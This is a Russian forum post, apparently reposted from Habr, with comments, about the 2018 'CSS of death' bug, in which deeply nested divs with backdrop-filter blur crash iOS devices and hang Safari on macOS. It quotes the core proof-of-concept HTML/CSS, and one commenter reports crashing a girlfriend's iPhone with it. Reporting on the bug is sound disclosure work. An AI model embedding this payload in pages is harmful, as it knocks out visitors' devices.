IOS CSS of death

PoC )

IOS CSS of death Копипаста, Habr, iOS, Mac Os, iPhone, Safari, HTML, CSS, Длиннопост

На github опубликован код, приводящий к force restart iOS (11/12 GM) устройств при посещении html-страницы. Также приводит к зависанию Mac OS High Sierra/Mohave при использовании Safari.

Код, приводящий к force restart представляет из себя html-код с большим количеством вложенных div'ов и "сумашедшей" функцией размытия заднего плана:

...
div {
backdrop-filter: blur(10px);
-webkit-backdrop-filter: blur(10px);
width:10000px; height:10000px;
}
</style>
</head>
<body>
<div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div>
...

Также опубликована PoC html-страница, реализующая данный баг (пользователи Safari переходят на свой страх и риск).Есть предположение, что баг закрался на уровне ниже, нежели webkit и может привести к более серьезным последствиям. Также, использование данного бага может быть применимо в социотехнических компаниях и дурацких розыгрышах, так что советую крайне подозрительно относится ко всем ссылкам, тем более что на iOS все браузеры, по сути, это надстройка над Сафари.

IOS CSS of death Копипаста, Habr, iOS, Mac Os, iPhone, Safari, HTML, CSS, Длиннопост

Есть предположение, что баг закрался на уровне ниже, нежели webkit и может привести к более серьезным последствиям. Также, использование данного бага может быть применимо в социотехнических компаниях и дурацких розыгрышах, так что советую крайне подозрительно относится ко всем ссылкам, тем более что на iOS все браузеры, по сути, это надстройка над Сафари.


Оригинал: https://habr.com/post/423411/

Нашел источник: https://twitter.com/pwnsdx/status/1040944750973595649

Информационная безопасность IT

1.4K постов25.5K подписчиков

Добавить пост

Правила сообщества

Обязательно к прочтению для авторов:

1. Если вы добавляете пост, утверждающий об утечке данных или наличии дыр в системе, предоставьте ссылку на источники или технически подкованное расследование. Посты из разряда "Какой-то банк слил данные, потому что мне звонили мошенники" будут выноситься в общую ленту.
2. Все вопросы "Как обезопасить сервер\приложение\устройство" - в лигу "Компьютер это просто".

Обязательно к прочтению для всех:

Добавление ссылки разрешено если она не содержит описание коммерческих (платных) продуктов и/или идентификаторов для отслеживания перехода и для доступа не нужен пароль или оплата в т.ч. интернет-ресурсы, каналы (от 3-х тематических видео), блоги, группы, сообщества, СМИ и т.д.


Запрещены политические holy wars.

По решению модератора или администратора сообщества пользователь будет забанен за:

1. Флуд и оскорбление пользователя, в т.ч. провокация спора, флуда, холивара (высказывание без аргументации о конкретной применимости конкретного решения в конкретной ситуации), требование уже данного ответа, распространение сведений порочащих честь и репутацию, принижающих квалификацию оппонента, переходы на личности.

2. Публикацию поста/комментария не соответствующего тематике сообщества, в том числе обсуждение администраторов и модераторов сообщества, для этого есть специальное сообщество.

3. За обвинение в киберпреступной деятельности.

4. За нарушение прочих Правил Пикабу.

Автор поста оценил этот комментарий
Поверил на своей девушке, iPhone 7, iOS 11.4.1, перезагружается))
раскрыть ветку (1)
4
Автор поста оценил этот комментарий

Не перегружай больше девушку )

показать ответы
Автор поста оценил этот комментарий
по моему там не только суть в куче вложенных div, а еще и огромном скроле, который сафари не можут эргономично преподнести пользователю + webkit и выдаёт ошибку)

...а ослик 11 хотя б попытался)

Иллюстрация к комментарию
раскрыть ветку (1)
2
Автор поста оценил этот комментарий

Webkit везде, а тяжко только яблокам.

10
Автор поста оценил этот комментарий

Убери повторы текста, у тебя дублированы два куска текста.

раскрыть ветку (1)
3
Автор поста оценил этот комментарий

Сорян, не заметил, старый глюк пикабу.

@moderator, удалите, пожалуйста, два абзаца перед первой картинкой:

На github опубликован код, приводящий к force restart iOS (11/12 GM) устройств при посещении html-страницы. Также приводит к зависанию Mac OS High Sierra/Mohave при использовании Safari.
Код, приводящий к force restart представляет из себя html-код с большим количеством вложенных div'ов и "сумашедшей" функцией размытия заднего плана:
показать ответы
1
Автор поста оценил этот комментарий

За ссылку на эту страницу в платину улетишь... Ссылку в студию

раскрыть ветку (1)
Автор поста оценил этот комментарий

11,1,2

раскрыть ветку (1)
Автор поста оценил этот комментарий

Хз, нашел источник (добавил в пост) — люди пишут, что не брехня

показать ответы
Автор поста оценил этот комментарий

брехня

не виснет

раскрыть ветку (1)
Автор поста оценил этот комментарий

версия какая?

показать ответы